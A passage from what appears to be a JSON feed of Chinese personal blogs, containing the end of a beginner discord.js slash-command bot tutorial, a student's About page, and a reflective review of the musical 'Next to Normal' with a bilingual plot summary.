推送后外泄。\u003c/p\u003e\n\u003cp\u003e第三行有就有吧。\u003c/p\u003e\n\u003ch3\u003e无脑实现一个机器人\u003c/h3\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 创建文件 \u003ccode\u003edeploy_commands.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require(\"fs\"); const { REST } = require('@discordjs/rest'); const { Routes } = require('discord.js'); \nconst { clientId, guildId, token } = require('./config.json'); \n \nconst commands = []; //const commandFiles = fs.readdirSync(\"./commands\").filter(file =\u0026gt; file.endsWith(\".js\")); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \n//console.log(commandFiles); \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n console.log(file); \n let command = require(`./${file}`); \n commands.push(command.data.toJSON()); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n let akaData = command.data; \n akaData.name = command.akaNames[i]; \n commands.push(akaData.toJSON()); \n } \n } \n } \n} \n \nconst rest = new REST({ version: '10' }).setToken(token); \n rest.put(Routes.applicationGuildCommands(clientId, guildId), { body: commands }) \n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件 \u003ccode\u003ecmdPaths.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件夹 \u003ccode\u003eevents\u003c/code\u003e,在这个文件夹里创建文件 \u003ccode\u003eready.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n name: \"ready\", \n once: true, \n execute(client) { \n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹/event\u003c/code\u003e 文件夹里,创建文件 \u003ccode\u003einteractionCreate.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n name: \"interactionCreate\", \n execute(interaction) { \n console.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 创建文件 \u003ccode\u003eindex.js\u003c/code\u003e ,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require('fs'); \nconst { Client, Collection, GatewayIntentBits } = require('discord.js'); \nconst { token } = require('./config.json'); \nconst { InteractionType } = require(\"discord-api-types/v10\"); \n \nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent] }); \n const eventFiles = fs.readdirSync('./events').filter(file =\u0026gt; file.endsWith('.js')); \n \nfor (const file of eventFiles) { \n const event = require(`./events/${file}`); \n if (event.once) { \n client.once(event.name, (...args) =\u0026gt; event.execute(...args)); \n } else { \n client.on(event.name, (...args) =\u0026gt; event.execute(...args)); \n } \n} \n \nclient.commands = new Collection(); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n const command = require(`./${file}`); \n client.commands.set(command.data.name, command); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n client.commands.set(command.akaNames[i], command); \n } \n } \n } \n} \n \nclient.once('ready', () =\u0026gt; {}); \nclient.on('interactionCreate', async interaction =\u0026gt; { \n if (interaction.type !== InteractionType.ApplicationCommand) return; \n \n const command = client.commands.get(interaction.commandName); \n \n if (!command) return; \n \n try { \n await command.execute(interaction); \n } catch (error) { \n console.error(error); \n await interaction.reply({ \n content: 'There was an error while executing this command!', \n ephemeral: true \n }); \n } \n}); \n \nclient.login(token);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件夹 \u003ccode\u003ecommands\u003c/code\u003e,在这个文件夹里创建文件 \u003ccode\u003eping.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n data: new SlashCommandBuilder() \n .setName('ping') \n .setDescription('Replies with Pong!'), \n async execute(interaction) { \n await interaction.reply(\"Pong!\"); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这些代码,不懂正常,先照做。\u003c/p\u003e\n\u003cp\u003e我们会在 Chapter 4 中,逐行解释这些代码的,何况我们的工作重点不是这些“框架”性的东西,而是真正的机器人交互逻辑代码。\u003c/p\u003e\n\u003cp\u003e咱们的工程根文件夹目录结构和单文件应该至少是这样的:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ediscord_bot_2022\n├─commands\n├─events\n├─node_modules\n├─.gitignore\n├─cmdPaths.js\n├─config.json\n├─deploy_commands.js\n├─index.js\n├─package.json\n├─package-lock.json\n├─pnmp-lock.yaml\n└─yarn.lock\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对于 IDE 用户,创建该创建的运行配置后,点击“运行”或者什么之类的按钮即可让机器人跑起来。\u003c/p\u003e\n\u003cp\u003e对于非 IDE 用户(IDE 用户也可以),打开终端,cd 到工程根文件夹,输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode deploy_commands.js\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注册斜杠命令。成功消息是 \u003ccode\u003eSuccessfully registered application commands.\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e提前说明一点,如果我们的 \u003ccode\u003ecommands\u003c/code\u003e 文件夹里的各个 js 命令文件没有做过变动,则不需要每次启动机器人时注册部署一遍斜杠命令。\u003c/p\u003e\n\u003cp\u003e成功部署斜杠命令后,cd 到工程根文件夹,终端输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode index.js\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e运行机器人。成功消息类似于 \u003ccode\u003eReady! Logged in as abcde#0001\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e如果出现 “ 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。” 或者 “ 'node' 不是内部或外部命令,也不是可运行的程序或批处理文件。”亦或者“ -bash: node: command not found ”,请检查你的 PATH 是否有包含 node.exe 所在文件夹,这通常是 \u003ccode\u003eC:\\Program Files\\nodejs\\node.exe\u003c/code\u003e。验证方法是 \u003ccode\u003enode -v\u003c/code\u003e 输出版本号。\u003c/p\u003e\n\u003cp\u003e如果抛出其他失败,请检查你的网络是否能连接到 Discord、你的上述步骤有没有漏做或者顺序错误的。\u003c/p\u003e\n\u003ch3\u003e与机器人交互\u003c/h3\u003e\n\u003cp\u003ecd 到工程根文件夹。\u003c/p\u003e\n\u003cp\u003e确保你已经通过 \u003ccode\u003enode deploy_commands.js\u003c/code\u003e 注册了斜杠命令,并已通过 \u003ccode\u003enode index.js\u003c/code\u003e (或者 \u003ccode\u003enode .\u003c/code\u003e) 使机器人程序保持运行状态。验证方法是:能在 Discord 服务器成员列表看到你的机器人是在线状态而非离线状态。\u003c/p\u003e\n\u003cp\u003e打开 Discord,在机器人所在的服务器的任何文字频道,输入 \u003ccode\u003e/ping\u003c/code\u003e,回车选定斜杠命令,再次回车发送命令,机器人应该会发送消息 \u003ccode\u003ePong!\u003c/code\u003e ,而且在机器人后端程序,会输出类似于 \u003ccode\u003exxxxx#xxxx in #bot triggered an interaction.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125819594-935091856.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125834191-696325284.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这样,一个非常简单的机器人就完成了。\u003c/p\u003e\n\u003cp\u003e后续我们将学习更多的东西,先写到这吧。记得关注从而收取最新消息。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-1/"}]},{"name":"@indevn","email":"indevn@outlook.com","uri":"https://indevn.com/","description":"Recent content on @indevn","article":[{"title":"About","time":"2024-07-10T07:10:45Z","content":"\u003ch3 id=\"关于我\"\u003e关于我\u003c/h3\u003e\n\u003cp\u003e平凡的学生,目前刚刚研一。刚刚大四毕业的学生,本科毕业于西安电子科技大学,硕士即将就读于西安交通大学。\u003c/p\u003e\n\u003cp\u003e对「视觉表现」相关的技术感兴趣,本科阶段一直在关注图形渲染的相关技术,尤其是复杂材质的表面建模。最近也在尝试使用\u003ca href=\"https://typst.app/\"\u003eTypst\u003c/a\u003e进行文章排版。\u003c/p\u003e\n\u003cp\u003e希望可以完成一些比较酷的工作,创造价值,成为一个supportable的人。\u003c/p\u003e\n\u003ch3 id=\"关于本站\"\u003e关于本站\u003c/h3\u003e\n\u003cp\u003e我会在这里分享一些自己看过的论文、学到的东西,同时也会分享自己的生活。\u003c/p\u003e\n\u003cp\u003e博客基于Hugo进行构建,在\u003ca href=\"https://github.com/g-hanwen/hugo-theme-nostyleplease\"\u003enostyleplease\u003c/a\u003e的基础上进行修改。\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"联系我\"\u003e联系我\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eEmail\u003c/strong\u003e: \u003ca href=\"mailto:indevn@outlook.com\"\u003eindevn@outlook.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGithub\u003c/strong\u003e: \u003ca href=\"https://github.com/indevn\"\u003e@indevn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eQQ\u003c/strong\u003e: 2022920028\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/about/"},{"title":"近乎正常就可以了 #音乐剧","time":"2024-06-08T10:11:52Z","content":"\u003cp\u003e最近看了一部对我触动很大的音乐剧《近乎正常》。\u003c/p\u003e\n\u003cp\u003e这是2010年的普利策戏剧奖作品,我早就听过这部剧的唱段,如今终于看了中文版和英文版的官方录像。当我真正看完后,才真正理解了故事的深意。每次观看都有不同的体会。\u003c/p\u003e\n\u003cp\u003e这部剧讲述了一位患有双相情感障碍的母亲戴安娜、她的丈夫丹和女儿娜塔莉之间的故事。这个家庭的每个人都在深深的痛苦中挣扎,却要假装正常。戴安娜坚持在生活中扮演“正常”的角色,但内心渴望回到那些未被药物压制的情感。娜塔莉无法与母亲正常相处,总想逃离这个“不正常”的家庭。丹在十六年中一直对戴安娜不离不弃,但也承受着巨大的压力。\u003c/p\u003e\n\u003cp\u003e这部剧中最令我感动的是丹的坚守与失落。\u003c/p\u003e\n\u003cp\u003e丹一直坚守在戴安娜身边,希望家庭早日恢复正常。这十六年来,他压抑着自己的情绪,为家庭付出,饱受痛苦,“So steadfast and stolid and stoic and solid”。当戴安娜质问他为何还在身边时,丹重申了自己少时的承诺:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWhatever may come well come through 要共度一切的艰险\u003c/p\u003e\n\u003cp\u003eAnd who can know how when all I know now 未来太难猜,但不会有多少改变\u003c/p\u003e\n\u003cp\u003eTo be true is this promise that I make to you 我的承诺会一生不变\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e丹也无数次想过离开,但在深爱和恐惧之间,他选择了留下,坚守这个一生不变的承诺。在他心中,永远爱着那个耀眼的少女,也永远做着那个少年,停滞不前。\u003c/p\u003e\n\u003cp\u003e故事中还有另一条线,娜塔莉与男友亨利的感情,与父母的故事相呼应。在女儿和母亲、父亲和男友的二重唱中,中年和青年的双线设计,让我仿佛看到了丹和戴安娜年轻时的样子。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640.webp\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e无论看多少遍,我都被丹的承诺深深打动。父亲坚定地相信,如果两个人彼此相爱,愿意坚守,就能克服所有困难。\u003c/p\u003e\n\u003cp\u003e然而在故事结尾,我看到了丹在坚持中的偏执。面对妻子的离开,他唱出了疑惑:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI am the one who loved you 爱过你的人是我\u003c/p\u003e\n\u003cp\u003eI am the one who stayed 留下来的是我\u003c/p\u003e\n\u003cp\u003eI am the one and you walked away 全都是我,你却离开我\u003c/p\u003e\n\u003cp\u003eI am the one who waited 守候你的人是我\u003c/p\u003e\n\u003cp\u003eAnd now you act like you just don\u0026rsquo;t give a damn 可是你却不在乎我的伤悲\u003c/p\u003e\n\u003cp\u003eLike you never knew who I am 仿佛你不懂我是谁\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640-1720591713973-3.png\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e丹和戴安娜都有同样的痛苦,但丹无法体会妻子作为精神病患者的痛苦。他的坚持出于责任,却让他疲惫不堪。他的一切努力似乎无法解决问题。\u003c/p\u003e\n\u003cp\u003e即使在故事最后,问题也未解决,但大家终于明白了“something next to normal would be okay”,不再强求假装正常。戴安娜选择换一种生活方式,寻找更适合自己的生活。娜塔莉仍无法与母亲和解,但努力面对生活和爱情。丹放下心中的偏执,说出“We love anyway”。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640-1720591729977-6.png\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e虽然没有完美结局,但大家选择了相信,只要继续生活就会有希望,\u0026ldquo;maybe we\u0026rsquo;re tough and we\u0026rsquo;ll try anyway\u0026rdquo;。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAnd when they night has fin\u0026rsquo;ly gone 当长夜终于到尽头\u003c/p\u003e\n\u003cp\u003eAnd when we see the new day dawn 当黎明绽放在窗口\u003c/p\u003e\n\u003cp\u003eWe\u0026rsquo;ll wonder how we wandered for 你会笑话自己\u003c/p\u003e\n\u003cp\u003eSo long so blind 茫然彷徨那么久\u003c/p\u003e\n\u003cp\u003eThe wasted world we thought we knew 以前那熟悉的绝望\u003c/p\u003e\n\u003cp\u003eThe light will make it look brand new 有光就变得不一样\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e附:Wikipedia中的剧情概述\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAct I 第一幕\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDiana Goodman, a suburban mother with bipolar disorder, stays up late awaiting the return of her son Gabe, who has broken curfew. Also awake is Diana\u0026rsquo;s daughter Natalie, an overachieving high school student who is stressfully studying for an upcoming test. Diana encourages her daughter to take a break and rest. Soon after, Gabe returns home, and Diana\u0026rsquo;s husband, Dan, awakes to help the family prepare for the day (\u0026ldquo;Just Another Day\u0026rdquo;). Diana prepares a meal for her family, but Dan and Natalie stop her when they realize the sandwiches she is making cover every kitchen surface. As Dan helps the disoriented Diana, Natalie and Gabe leave for school.\u003c/p\u003e\n\u003cp\u003e黛安娜·古德曼是一位患有躁郁症的郊区母亲,她熬夜等待儿子加布的归来,加布破了宵禁。黛安娜的女儿娜塔莉也醒着,她是一个努力学习备考的高中生,压力很大。黛安娜鼓励女儿休息一下。不久,加布回家了,黛安娜的丈夫丹醒来帮助家人准备新的一天(“又是一个平常的日子”)。黛安娜为家人准备了一顿饭,但当丹和娜塔莉意识到她正在做的三明治覆盖了每个厨房表面时,他们制止了她。丹帮助迷茫的黛安娜,娜塔莉和加布离开去上学。\u003c/p\u003e\n\u003cp\u003eNatalie releases some pent-up anger and frustration as she practices for an upcoming piano recital in the school\u0026rsquo;s music room (\u0026ldquo;Everything Else\u0026rdquo;), where she meets Henry, a classmate who has been admiring Natalie from afar. Meanwhile, Diana repeatedly visits her psychiatrist\u0026rsquo;s office, where she is prescribed a variety of medications that all prove to cause debilitating physical side effects; Dan waits through her appointments in the car while he questions his own sanity (\u0026ldquo;Who\u0026rsquo;s Crazy?/ My Psychopharmacologist and I\u0026rdquo;). When Diana is given a medication that numbs and rids her of all feelings, the doctor pronounces her stable and sends her on her way.\u003c/p\u003e\n\u003cp\u003e娜塔莉在学校音乐室为即将到来的钢琴独奏会练习时释放了一些积压的愤怒和挫折(“其他一切”),在那里她遇到了一直远远地仰慕她的同学亨利。与此同时,黛安娜反复去看心理医生,在那里她被开了各种药物,结果都导致了令人难以忍受的身体副作用;丹在车里等待她的约会,同时质疑自己的理智(“谁疯了?/我的精神药物医生和我”)。当黛安娜服用一种让她麻木并摆脱所有感情的药物时,医生宣布她稳定了,并让她离开。\u003c/p\u003e\n\u003cp\u003eAfter witnessing a romantic moment between Natalie and Henry (\u0026ldquo;Perfect For You\u0026rdquo;), Diana mourns the loss of her old life, longing for the days she lived in both pain and joy, as opposed to the numbness her new medication has caused (\u0026ldquo;I Miss the Mountains\u0026rdquo;). At Gabe\u0026rsquo;s suggestion, she flushes her medications.\u003c/p\u003e\n\u003cp\u003e在目睹娜塔莉和亨利之间的浪漫时刻(“Perfect For You”)后,黛安娜为自己旧生活的失去而悲伤,渴望过去既痛苦又快乐的日子,而不是新药物带来的麻木感(“I Miss the Mountains”)。在加布的建议下,她冲掉了自己的药物。\u003c/p\u003e\n\u003cp\u003eMeanwhile, Dan arranges a family dinner, inviting Henry to join them (\u0026ldquo;It\u0026rsquo;s Gonna Be Good\u0026rdquo;). When Diana brings to the table a cake for Gabe\u0026rsquo;s birthday, Dan gently reminds her that Gabe, in fact, died nearly sixteen years ago, and her visions of him throughout the show have only been hallucinations (\u0026ldquo;He\u0026rsquo;s Not Here\u0026rdquo;). After an upset Natalie runs to her bedroom, Dan clears off the dinner table while Diana reveals she has stopped her medication. As he tries to empathize with her, she becomes angry, saying he could not possibly understand the pain she is going through (\u0026ldquo;You Don\u0026rsquo;t Know\u0026rdquo;). Dan begs her to let him help however he can, reminding her of his faithfulness and patience thus far, but is interrupted by a vision of Gabe, whom only Diana can see. Diana immediately clings to her son, rejecting Dan\u0026rsquo;s offer of comfort (\u0026ldquo;I Am the One\u0026rdquo;). Upstairs, Natalie vents to Henry over her mother\u0026rsquo;s attachment to the dead Gabe. Diana overhears their conversation and offers the only comfort she is capable of giving, telling Natalie, \u0026ldquo;I love you as much as I can\u0026rdquo; (\u0026ldquo;Superboy and the Invisible Girl\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e与此同时,丹安排了一个家庭晚餐,邀请亨利加入他们(“这会很好”)。当黛安娜端上一块蛋糕给加布庆祝生日时,丹温柔地提醒她,事实上,加布已经去世将近十六年了,她在整个节目中看到的他只是幻觉(“他不在这里”)。在心烦意乱的娜塔莉跑到卧室后,丹收拾餐桌,而黛安娜透露她已经停止了药物治疗。当他试图同情她时,她变得愤怒,说他根本无法理解她正在经历的痛苦(“你不知道”)。丹恳求她让他尽可能帮助她,提醒她迄今为止他的忠诚和耐心,但被加布的幻觉打断,只有黛安娜能看到。黛安娜立即紧抱着她的儿子,拒绝了丹的安慰提议(“我就是那个人”)。楼上,娜塔莉向亨利倾诉她母亲对已故加布的依恋。 黛安娜听到了他们的对话,并提供了她能够给予的唯一安慰,告诉娜塔莉:“我爱你,尽我所能”(《超级男孩和隐形女孩》)。\u003c/p\u003e\n\u003cp\u003eDiana visits a new doctor, who performs talk therapy and hypnosis on her. During their session, she sees Gabe, who asserts his dominance over her and the control he has in her life (\u0026ldquo;I\u0026rsquo;m Alive\u0026rdquo;). Diana reveals intimate details about the effects of her illness, saying that she was unable to hold Natalie in the hospital when she was born. Meanwhile, Natalie botches an important piano recital upon discovering her parents are not in the audience (\u0026ldquo;Make Up Your Mind/ Catch Me I\u0026rsquo;m Falling\u0026rdquo;). Diana\u0026rsquo;s doctor encourages her to go home, spend time with Natalie, and clean out a box of Gabe\u0026rsquo;s old things in an attempt to let him go. Diana agrees but is confronted with a hallucination of Gabe while sorting through a box in their basement (\u0026ldquo;I Dreamed a Dance\u0026rdquo;). Gabe convinces her to commit suicide, saying it is the only way they can be together (\u0026ldquo;There\u0026rsquo;s a World\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜去看了一位新医生,医生对她进行了谈话疗法和催眠。在他们的会话中,她看到了加布,加布强调了他对她的支配和他在她生活中的控制(“我还活着”)。黛安娜透露了关于疾病影响的私人细节,说她在医院无法抱着娜塔莉出生。与此同时,娜塔莉在发现父母不在观众席上时搞砸了一场重要的钢琴独奏会(“下定决心/抓住我,我要摔倒了”)。黛安娜的医生鼓励她回家,和娜塔莉共度时光,并清理加布旧物的箱子,试图让他离开。黛安娜同意了,但在整理地下室的一个箱子时,她遇到了加布的幻觉(“我做了一个舞蹈的梦”)。加布说服她自杀,说这是他们唯一能在一起的方式(“有一个世界”)。\u003c/p\u003e\n\u003cp\u003eDiana is hospitalized after her suicide attempt fails, and Dr. Madden tells Dan that \u003ca href=\"https://en.wikipedia.org/wiki/Electroconvulsive_therapy\"\u003eelectroconvulsive therapy\u003c/a\u003e is one of the only options they have left. Dan returns home to clean up the scene of his wife\u0026rsquo;s attempt at suicide, narrowly avoiding a breakdown of his own as he reminisces about the years spent with Diana (“I’ve Been”). Natalie finds him and is angry to discover that he has agreed to the doctor\u0026rsquo;s recommendation of shock therapy. Upon returning to the hospital, he finds that Diana has become aggressive with the staff for wanting her to sign the confirmation papers, likening the idea of shock therapy to its depiction in the film One Flew Over the Cuckoo\u0026rsquo;s Nest (\u0026ldquo;Didn\u0026rsquo;t I See This Movie?\u0026rdquo;). However, after clearing the room, he manages to convince her of the necessity of this treatment, saying it is the only way they can get back to normal (\u0026ldquo;A Light in the Dark\u0026rdquo;). Diana reluctantly agrees and signs the papers.\u003c/p\u003e\n\u003cp\u003e黛安娜自杀未遂后被送进医院,麦登医生告诉丹,电休克疗法是他们剩下的几乎唯一选择之一。丹回家清理妻子自杀未遂的现场,险些自己崩溃,他回忆起与黛安娜度过的岁月(“我一直在”)。娜塔莉找到他,发现他同意医生的电休克疗法建议后感到愤怒。回到医院后,他发现黛安娜对工作人员变得咄咄逼人,不愿签署确认文件,将电休克疗法比作电影《飞越疯人院》中的描述(“我没看过这部电影吗?”)。然而,在清空房间后,他设法说服她接受这种治疗的必要性,称这是他们恢复正常的唯一途径(“黑暗中的一抹光”)。黛安娜勉强同意并签署文件。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAct II 第二幕\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDiana receives a series of ECT treatments over two weeks. Meanwhile, Natalie experiments with drugs and frequently goes clubbing, being rescued most nights by Henry, who sees her home safely. On one occasion, she seems to share a hallucination with her mother, highlighting some of the parallels between their emotional states (\u0026ldquo;Wish I Were Here\u0026rdquo;). Upon Diana\u0026rsquo;s return home from the hospital, it is revealed that she has lost her memories of the last nineteen years due to the shock therapy – including the memory of her deceased son (\u0026ldquo;Song of Forgetting\u0026rdquo;). During this song Natalie expresses concerns over the efficacy of this \u0026ldquo;cure\u0026rdquo; claiming her mind is \u0026ldquo;so pure she doesn\u0026rsquo;t know anything\u0026rdquo; while Dan remains hopeful about the eventual return of Diana\u0026rsquo;s memory. Henry expresses concern over Natalie’s drug use and asks her to the upcoming school dance in an attempt to reconnect, an invitation which Natalie immediately declines (\u0026ldquo;Hey #1\u0026rdquo;). Meanwhile, Dan questions Dr. Madden over Diana\u0026rsquo;s memory loss, learning it is a relatively common side effect of ECT (\u0026ldquo;Seconds and Years\u0026rdquo;). Because Gabe\u0026rsquo;s death was the start of a lifetime of depression, Dan hesitates to remind her of it. At home, he and Natalie help Diana sort through a box of pictures and memories of her old life, leaving out any mention of Gabe\u0026rsquo;s existence (\u0026ldquo;Better Than Before\u0026rdquo;). However, Diana is briefly confronted afterward by Gabe, who hints that she has forgotten a vital part of her life (\u0026ldquo;Aftershocks\u0026rdquo;). Meanwhile, Henry again invites Natalie to the dance but is turned down again. Despite Natalie’s rejections, Henry insists on picking her up the next day just in case she changes her mind (\u0026ldquo;Hey #2\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜在两周内接受了一系列电休克治疗。与此同时,娜塔莉尝试各种药物,并经常参加俱乐部活动,大多数晚上都被亨利救回家安全。有一次,她似乎与母亲分享了幻觉,突显了她们情绪状态之间的一些相似之处(《但愿我在这里》)。黛安娜从医院回家后,揭示她因为电休克疗法而失去了过去十九年的记忆,包括她已故儿子的记忆(《遗忘之歌》)。在这首歌中,娜塔莉表达了对这种“治疗”效果的担忧,声称她的头脑“如此纯净,一无所知”,而丹则对黛安娜记忆的最终恢复持乐观态度。亨利对娜塔莉的药物使用表示担忧,并邀请她参加即将举行的学校舞会,试图重新建立联系,但娜塔莉立即拒绝了这个邀请(《嘿#1》)。与此同时,丹质疑医生。 麦登对黛安娜的记忆丧失感到困惑,得知这是电击疗法的一个相对常见的副作用(“秒与年”)。由于加布的死是终身抑郁的开始,丹犹豫是否提醒她。在家里,他和娜塔莉帮助黛安娜整理一箱旧生活的照片和回忆,避免提及加布的存在(“比以前好”)。然而,之后加布暗示黛安娜已经忘记了她生活中的一个重要部分(“余震”)。与此同时,亨利再次邀请娜塔莉参加舞会,但再次被拒绝。尽管娜塔莉拒绝了,亨利坚持第二天去接她,以防她改变主意(“嘿#2”)。\u003c/p\u003e\n\u003cp\u003eDiana visits Dr. Madden, who accidentally reveals the existence of her son, unaware that Dan has not yet done so (\u0026ldquo;You Don\u0026rsquo;t Know - Reprise\u0026rdquo;). After learning this, Diana returns home and searches through Gabe\u0026rsquo;s old belongings, finding the music box that helped him sleep as an infant. When Dan finds her revisiting the night their son died, he reluctantly reminds her that their son had died of an illness all of the doctors missed (\u0026ldquo;How Could I Ever Forget?\u0026rdquo;). Diana confusedly admits she recalls hallucinating Gabe as a teenager, and Dan frantically says they will get her to the doctor and do more ECT (\u0026ldquo;It\u0026rsquo;s Gonna Be Good - Reprise\u0026rdquo;), which leads to a heated argument between the two that Natalie witnesses the peak of. After Natalie runs upstairs to her bedroom, where Henry is waiting to take her to the dance, Diana questions Dan about why he stays despite all of the things she puts him through and all the pain they have experienced together. He reminds her of his wedding vows and promises to see their relationship through, no matter how much she pushes him away. Upstairs, Henry makes a similar pledge to Natalie (\u0026ldquo;Why Stay?/A Promise\u0026rdquo;). However, Diana again sees Gabe and is immediately entranced by him, drawn away from Dan (\u0026ldquo;I\u0026rsquo;m Alive – Reprise\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜拜访了麦登医生,后者无意中透露了她儿子的存在,不知道丹还没有这样做(“你不知道 - 重唱”)。得知此事后,黛安娜回家搜寻盖布的旧物品,找到了曾帮助他婴儿时入睡的音乐盒。当丹发现她重温儿子去世的那个夜晚时,他不情愿地提醒她,他们的儿子死于所有医生都错过的疾病(“我怎么能忘记?”)。黛安娜困惑地承认她记得幻想盖布成为一个十几岁的少年,丹焦急地说他们会带她去看医生并做更多的电击疗法(“一切都会好起来 - 重唱”),这导致两人之间的激烈争吵,娜塔莉目睹了争吵的高潮。娜塔莉跑上楼到她的卧室,亨利正在等着带她去跳舞,黛安娜询问丹为什么尽管她给他带来了那么多困扰,他还是留下来,尽管他们一起经历了那么多痛苦。 他提醒她他的婚礼誓言,并承诺无论她如何推开他,都会坚持他们的关系。楼上,亨利向娜塔莉做出类似的承诺(“为什么留下?/一个承诺”)。然而,黛安娜再次看到加布,并立刻被他迷住,远离丹(“我还活着-重奏”)。\u003c/p\u003e\n\u003cp\u003eThough Dan begs her to stay, Diana leaves and visits Dr. Madden, frustrated that years of treatment haven\u0026rsquo;t seemed to improve her condition, and wonders if her grief over losing her son should truly be medicated (\u0026ldquo;The Break\u0026rdquo;). Dr. Madden pleads with her to stay with him, recommending more shock treatment and other medications, but she leaves the appointment (\u0026ldquo;Make Up Your Mind/Catch Me I\u0026rsquo;m Falling - Reprise\u0026rdquo;). Upon returning outside, she connects with Natalie for the first time, noting the similarities between the two of them. They embrace and agree that somehow they will get a life somewhere “next to normal” (“Maybe (Next to Normal)”). Diana drives Natalie to the dance, where Natalie voices her concerns to Henry that she will someday end up with the same issues as her mother, though Henry promises to stand by her no matter what (\u0026ldquo;Hey #3/ Perfect For You - 